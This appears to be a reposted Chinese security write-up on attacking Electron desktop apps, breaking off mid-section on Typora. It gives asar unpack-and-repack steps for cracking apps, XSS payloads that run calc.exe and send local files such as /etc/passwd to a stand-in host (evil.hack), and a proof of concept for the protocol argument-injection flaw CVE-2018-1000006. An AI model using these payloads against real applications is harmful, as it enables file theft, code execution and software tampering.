electron審計及攻擊鏈研究


0x00 前言

electron是一個流行的桌面應用開發框架,允許開發者使用web技術和nodejs結合來迅速開發桌面應用. 不過由於使用了js等, 也引入了xss漏洞,通常如果能在electron應用發現xss就可以rce。

0x01逆向

“ asar ”文件是“帶有索引的簡單的類似tar的廣泛存檔格式”,Electron提供了一個npm軟件包來管理這些文件(打包/提取)。但是,此文件未以任何方式進行加密,混淆或保護。攻擊者可以對這些文件進行任何修改,然后重新打包文件而無需修改實際可執行文件的簽名。此外,這種攻擊在所有操作系統上均有效。

Electron跨平台程序破解

Electron封裝的跨平台程序破解的一般思路:

  • 安裝npm(至於如何安裝,網上教程很多,不贅述)
  • 安裝好npm后執行命令安裝asar:npm install asar -g
  • 以macOS平台為例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法類似
  • 用asar命令解包:asar e app.asar tmp
  • 到步驟4中建立的tmp目錄下找到對應的js文件hack之。
  • 破解完后重新封裝程序 :asar p tmp/ app.asar,破解完成。

這里有時候會遇到個坑就是:不能把文件叫取名為tmp,必須是app,文件夾名使用tmp后重新封裝出現40g的情況,tmp重新封裝會出現文件無法打包的問題

所以正確的方法是

  • 安裝npm(至於如何安裝,網上教程很多,不贅述)
  • 安裝好npm后執行命令安裝asar:npm install asar -g
  • C:\Users\yonghu\AppData\Local\Programs*\resources下找到app.asar
  • 用asar命令解包:asar e app.asar app
  • 到步驟4中建立的app目錄下找到對應的rendderer.js文修改
  • 破解完后重新封裝程序 :asar p app/ app.asar,破解完成。

0x02 審計思路

各個目錄的目錄結構不一定,但都有一個主文件 如 main.js. 在這里處理應用的啟動

在最簡單的應用版本中,一個Electron文件包含下面三個文件:index.jsindex.htmlpackage.json

我們檢查的第一個目標是package.json,其中包含了所有應用入口點的對應文件路徑:

{
  "name": "Example App",
  "description": "Core App",
  "main": "app/index.js",
  "private": true,
}

如上例子,入口點是位於app文件夾中名為index.js的文件,該文件將會作為主進程執行。如果沒有特別的指定,index.js是默認的主文件。文件index.html和其他的web資源被用在渲染進程中,用來展示真實的內容給用戶。一個新的渲染進程(renderer process)在主進程(main process)實例化每一個browserWindow時被創建。

自定義url協議

electron應用可以注冊自己的url 協議 例如custom://, 使得可以通過瀏覽器直接打開應用. 這里對url協議的處理不當可能導致rce等 例子.

注冊url的代碼例子如下

const protocol = electron.protocol

// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'

function createWindow () {
  mainWindow = new BrowserWindow({width: 1000, height: 800})
  // handle url protocol
  protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
    const fullUrl = formFullTodoUrl(req.url)
    devToolsLog('full url to open ' + fullUrl)
    mainWindow.loadURL(fullUrl)
  })
}

domxss

Electron 中的 DOM 操作必須更精細,嚴格轉義是必要的。(渲染進程中可以使用 Node 函數) 基於這個特性,攻擊者可以在此之中插入 Node 函數用於攻擊, 比如,這是一個普通的 XSS 實例:

// xss_source 是攻擊者可以控制的字符串
elm.innerHTML = xss_source; // XSS!

攻擊者可以以下面的方式利用:

// 彈計算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 讀取本地文件並發送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架構問題
  • 瀏覽器窗口默認支持加載file://
  • 並沒有與普通瀏覽器一般的地址欄
本地文件信息竊取

我們發現在默認情況下,Node 語句是可用的。 但是,如果開發者禁用了 Node 語句:

// main.js 節選
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);

這種情況下,我們注入的 Node 語句不生效,可造成的威脅降低了。 看起來,在創建 BrowserWindow 的時候禁用 Node 語句是必要的。 但是,如果 Node 語句被禁用,Electron 會變得很雞肋。

如果開發者執意禁止 Node 語句,我們依然不是無計可施的。 以剛剛的 main.js 為例,我們可以通過xhr來做更多的事情。

var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
  fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );

通過上面的代碼,我們可以讀取本地文件並將其發送出去。 這使得開發者在犧牲 Electron 的實用性禁用 Node 語句后, XSS 依舊十分強大。

0x03 實戰案列

CVE-2018-1000006:Electron遠程代碼執行漏洞

影響范圍

Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本

漏洞環境搭建

先把環境搭建出來,將存在漏洞的Electron 1.7.10壓縮包下載至本地,雙擊electron.exe運行。(實現環境下直接將寫的代碼用鼠標拖至Electron窗體里即可運行。)

img

確認項目沒有問題后,即可進行后續的漏洞分析工作。

PoC的構造

通過漏洞公告可以知道,漏洞存在於app.setAsDefaultProtocolClient()方法。

昨天捅咕了半天,沒啥進展,今天先知上有大佬發了分析文章(Electron < v1.8.2-beta.4 遠程命令執行漏洞-【CVE-2018-1000006】),學習一發,PoC采用原作者提供的。

將存在漏洞的項目拖至electron.exe窗體中即可運行。

img

img

PoC(from CHYbeta/CVE-2018-1000006-DEMO):

<html>
<head>
	POC for CVE-2018-1000006
</head>
<body>
 <a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>

img

點擊超鏈接,則會觸發這個RCE,實現命令執行。

原理淺析

由官方的漏洞公告可知,該漏洞存在位置app.setAsDefaultProtocolClient(),在倉庫中全局搜索SetAsDefaultProtocolClient(electron/electron),由於該漏洞僅影響Windows系統,則關注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),該函數的主要的功能是實現注冊表鍵值的注冊。

bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                       mate::Arguments* args) {
 // HKEY_CLASSES_ROOT
 //    $PROTOCOL
 //       (Default) = "URL:$NAME"
 //       URL Protocol = ""
 //       shell
 //          open
 //             command
 //                (Default) = "$COMMAND" "%1"
 //
 // However, the "HKEY_CLASSES_ROOT" key can only be written by the
 // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
 // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
 // anyway, and can be written by unprivileged users.

 if (protocol.empty())
   return false;

 base::string16 exe;
 if (!GetProtocolLaunchPath(args, &exe))
   return false;

 // Main Registry Key
 HKEY root = HKEY_CURRENT_USER;
 base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
 base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);

 // Command Key
 base::string16 cmdPath = keyPath + L"\\shell\\open\\command";

 // Write information to registry
 base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
     FAILED(key.WriteValue(L"", urlDecl.c_str())))
   return false;

 base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
   return false;

 return true;
}

通過運行regedit打開注冊表編輯器可以看到

img

運行PoC,點擊構造好的超鏈接(payload),注冊表中的%1則會替換為payload,

chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

payload中的雙引號閉合掉前面的雙引號,最后形成如下所示命令

elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"

通過第3個參數帶入Chromium實現命令執行:--renderer-cmd-prefix=cmd.exe /c start calc

縷一下攻擊場景和完整的利用思路:

0、程序開發時調用了存在漏洞的函數,實現用戶自定義協議的注冊,拿我這個來說注冊了test協議,那當用戶訪問test協議下的資源時,就會啟動該程序訪問(test://xxx)

app.setAsDefaultProtocolClient('test')

1、程序啟動時會在注冊表中注冊鍵值(%1是占位符,用於接收用戶輸入的參數)

"E:\elec_rce.exe" "%1"

2、執行PoC時,通過剛剛程序注冊的test://自定義協議觸發

test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

3、payload帶入占位符%1,同時閉合雙引號,通過后續的參數--renderer-cmd-prefix,傳遞至Chromium,實現命令執行

如何在Typora編輯器上實現遠程命令執行

我們知道,針對Electron應用,大部分時候我們只要找到了XSS漏洞,也就約等於完成了命令執行。所以,我們祭出祖傳的XSS payload一頓打,驚喜發現沒有任何彈窗。通過簡單研究我們發現,Typora作者在研發的時候采用了cure53的DOMPurify過濾了預覽輸出的html,緩解了大部分的XSS攻擊。

那這個編輯器就沒有漏洞了嗎?

當然是不可能的。Kein System ist sicher.

有人可能會想到一個神奇的標簽


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM